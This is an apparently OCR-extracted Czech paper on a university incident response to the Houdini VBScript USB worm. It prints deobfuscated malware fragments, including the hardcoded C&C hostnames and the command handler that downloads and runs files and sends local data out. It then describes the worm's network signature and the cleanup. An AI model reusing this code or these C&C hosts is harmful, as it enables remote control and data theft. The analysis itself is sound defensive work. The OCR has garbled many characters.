,2))) : PUREAU=PUREAU+Left (CANADA,KOUBA) : Next : UREGWAY=PUREAU : En
d Function:Function USA(HINDORAS) :Dim i:For i=1 To Len(HINDOR
AS) :USA=Mid (HINDORAS,i,1)&USA:next:End Function

Obr. 4: Nahled na vysledek prvniho kroku pfi deobfuskaci

Jak vidno, opét se jedna o obfuskovany kéd, tj. byla pouzita vicevrstva ob-
fuskace. Staci vSak zopakovat postup z predchoziho kroku . .. a pak jesté jednou.
Pak se jiz objevi ¢itelny kod malware, jehoz zacatek je vidét na obrazku 5.

On eRrOr ReSuMe NeXt

dIm Az

SET Az = WsCriPt.CreAtEoBjEcT("wscript.shell")

dIm Aw

SET Aw = CreAtEoBjEcT("scripting.filesystemobject")
dIm Av

SET Av = CreAtEoBjEcT("msxml2.xmlhttp")

Ay = ArRaY ("maroco.linkpc.net:855",
"maroco.myq-see.com:855", "maroco.redirectme.net:855")
Ax = Az .ExPaNdEnViRoNmEnTsTrInGs ("%appdataik") _
&"\Microsoft Office\"

Aw.CreateFolder Ax

Obr. 5: Ndhled na vysledny cisty kéd
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Celkove se jedna o necelych 500 fadek kédu, takze je mozné provést kompletni
analyzu funkénosti. Lehkou vizualni komplikaci je ndhodné pouzivani malych
a velkych pismen v nézvech funkci a nicnefikajici ndzvy proménnych a funkci.
Neni vSak problém béhem kratké doby rozebrat jednotlivé casti kédu, nalézt
odpovédi na polozené otazky a sepsat je do zavérecné zpravy.

3.3 Zavérecna zprava

Obsah kompletni zavérecné zpravy presahuje rozsah tohoto prispévku, proto jsou
popsany pouze ¢asti pfimo souvisejici s polozenymi otazkami.

Jakou funkcionalitou malware disponuje?

Malware je schopen se pies USB zafizeni dile $ifit pouze s dopomoci uzZiva-
tele — je potfeba, aby na napadeném USB zafizeni spustil infikovaného zastupce.
Poté si skript zajisti persistenci zapisem do registrového klic¢e a spousténim
vytvorené kopie skriptu v domacim adresafi uzivatele.

Malware je po spusténi schopen komunikovat s C&C serverem, pricemz
vychozi nastaveni intervalu komunikace je 5 s. P¥ichazejici pokyny z C&C mohou
mit nasledujici charakter:

Aktualizace skriptu — vyména za novou verzi (nejspis s jinou funkcionalitou).
Zména intervalu komunikace — zména vychozich 5 s na jinou hodnotu.
Stazeni souboru z C&C a jeho spusténi — spusténi libovolného kédu.
Odeslani souboru na C&C - odeslani lokalnich dat.

Odinstalovani ze systému — zptisob zahlazeni stop.

Spusténi lokalniho piikazu — pfedano jako parametr cmd.ezxe.

Ptislusna ¢ast kédu zpracovavajici pokyny od C&C je uvedena na obrazku 6.
Proménné Ao je pole obdrzenych parametri, pfiCemz z jejich pouziti je zfejmé,
7e obsah komunikace je Cisté textovy. V pripadé monitoringu obsahu komunikace
s C&C je tedy mozné pfimo pozorovat zadané pokyny.

Lze pfitomnost poznat podle sitového chovani?

Malware ve vychozim nastaveni komunikuje kazdych 5s s C&C, pficemz se-
znam portd a doménovych jmen C&C je pevné zapsan ve skriptu. Pro analy-
zovany vzorek to jsou maroco.linkpc.net:855, maroco.myq-see.com:855 a ma-
roco.redirectme.net:855. Pro zjisténi pouzitych IP adres pro dand doménova
jména v konkrétnim Case je potieba pouzit informace ze systému jako je napf.
Passive DNS [5].
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SeLeCt case Ao (0)
case "excecute"

An = Ao (1)

Bd An ’* 777
case "update" ’* nahrazeni obsahu lokalniho skriptu parametrem

An = Ao (1)

Al1.Cl0se

sET Al = Aw.OpEnTeXtFile (Ax & Ar ,2, FalsE)

Al .WriTe An

A1.Cl0se

Az .RuN "WScript.exe //B " & cHr((17+17)) & _

Ax & Ar & cHr((17+17))

WScript.QuIt
case "uninstall"

Bi ’* call Bi: uninstall
case "send"

Bn Ao (1),Ao0 (2) ’*call Bn (param2_filename, param3_path)
case "site-send"

Bh Ao (1),Ao0 (2) ’*call Bh (param2_getparam, param3_filename)
case "recv'"’

An = Ao (1)

Be (An) ’*call Be (param2): odeslani zadaneho souboru na CaC
case "Sleep" ’* nastaveni noveho intervalu cekani v~ cyklu

An = Ao (1)
Sleep = EVal (An)
eND SeLeCt

Obr. 6: Céast kédu vyhodnocujici pokyny z C&C

Jak nastavit pravidla pro antivirovy systém, aby blokoval tento
malware?

Forenzni laboratof nema pristup ke vSem existujicim antivirovym feSenim, proto
bylo hledani odpovédi na tuto otazku realizovano v souc¢innosti s WIRT. Vzhle-
dem k moZnostem nastaveni antivirového systému pouzivaného ZCU (se soubory
WSsF je zachézeno jako se skripty) a zjisténym vlastnostem malware bylo do-
poruceno ponechat ptvodni nastaveni, tj. ,blokovat vytvafeni novych soubort
* WsF¢, az do doby, kdy dojde k aktualizaci virové baze.

4 Vyuziti vysledku v praxi

Bezpecnostni tym WIRT se po obdrzeni zdvéreéné zpravy pousti do dalsich
krokt, které bez dosud neznédmych informaci nemohl realizovat.
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V prvni fadé jsou vyuzity nalezené charakteristiky sitové komunikace pro
prohledani provoznich a lokaliza¢nich idaji a nasledné identifikaci vSsech na-
padenych zafizeni. Poté jsou identifikovani uzivatelé téchto zafizeni a odborné
vyzpovidani ohledné pouzivani USB zafizeni (komu ptijéujete svd USB zafizeni
a kam je pripojujete, pfipojuje nékdo jiny sva USB zarizeni do Vaseho zafizeni,
apod.). Vysledkem je zjisténi identit dalSich uzivatelt a také organizaci mimo
ZCU vyuzivanych studenty (napi. kopirovaci centrum).

Dale jsou pfipraveny napravné skripty, které vychazi z deobfuskovaného koé-
du. Skript uninstall.vbs odinstaluje (analyzovanou verzi) malware ze systému,
zatimco skript clean.vbs uvede do puvodniho stavu vSechna aktualné pripojena
USB zatizeni. Druhy ze skriptt je poté vyuzivin pracovistém uZzivatelské pod-
pory, kam méné technicky zdatni uzivatelé pfindseli sva USB zafizeni k vy¢isté-
ni.

Pro uzivatele byla pfipravena stranka s informacemi jak postupovat v pripadé
infenkce malwarem Houdiny a ob&ma skripty ke stazeni [6]. Uzivatelé, u nichz je
vyskyt malware detekovan, jsou o této skutecnosti informovani e-mailem a odka-
zéni na uvedenou informac¢ni stranku. Intenzivni monitoring vyskytu je nasledné
provadén po dobu nékolika tydnt. Vysledkem je kompletni likvidace vyskytu to-
hoto malware v siti ZCU ... samoziejmé pouze do doby, nez jej zase uzivatelé
pfinesou z jinych siti.

5 Shrnuti

Na vyse uvedeném ptipadu je vidét u¢ebnicova spoluprace bezpecnostniho tymu
s forenzni laboratofi, kdy informace ziskané reverzni analyzou malware byly
vyuzity pro kvalifikovanou reakci pii feSeni bezpecnostniho incidentu.

Vlastni malware je také pomérné zajimavy. Zptisob $ifeni s vyuzitim vymeé-
nitelnych médii neni v dobé Internetu prilis asty, ale ukazalo se, ze je pomérné
efektivni, protoze vymeénitelnd média (USB disky) jsou s oblibou pouZzivana pro
prenos dat mezi pocitaci. Navic i jedno jediné zapomenuté a nevycisténé vy-
ménitelné médium muze zaiidit opétovnou infekci. Pouziti zdstupci stejného
jména a skryti ptivodnich soubort vyuziva nékterych zjednoduseni, kterd by
méla béZnym uzivatelim usnadnit pouzivani vypocetni techniky (skryvani pfi-
pon soubort zndmych typt a skryvéni skrytych soubort). Za pov§imnuti také
stoji, Zze je mozné malware s pomérné komplexni funkcionalitou botnet klienta
vmeéstnat do necelych 500 radek kédu Visual Basic.

Zavérem lze Tici, ze vysledkem soucinnosti WIRT a FLAB je odstranéni mal-
ware Houdiny nejen z po¢itacti zaméstnanci a student@t ZCU, ale i kopirovaciho
centra v Plzni. Informad¢ni stranka spolu s pfipravenymi skripty pomohla také
nékolika infikovanym nestastnikéim z celé CR.
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Podékovani

Tento ¢lanek by nemohl vzniknout bez spoluprace s Ing. Petrem Zakem, ktery
realizoval vySe uvedené ¢innosti pripisované bezpecnostnimu tymu WIRT a na-
sledné autorovi ¢lanku poskytl potiebné informace.
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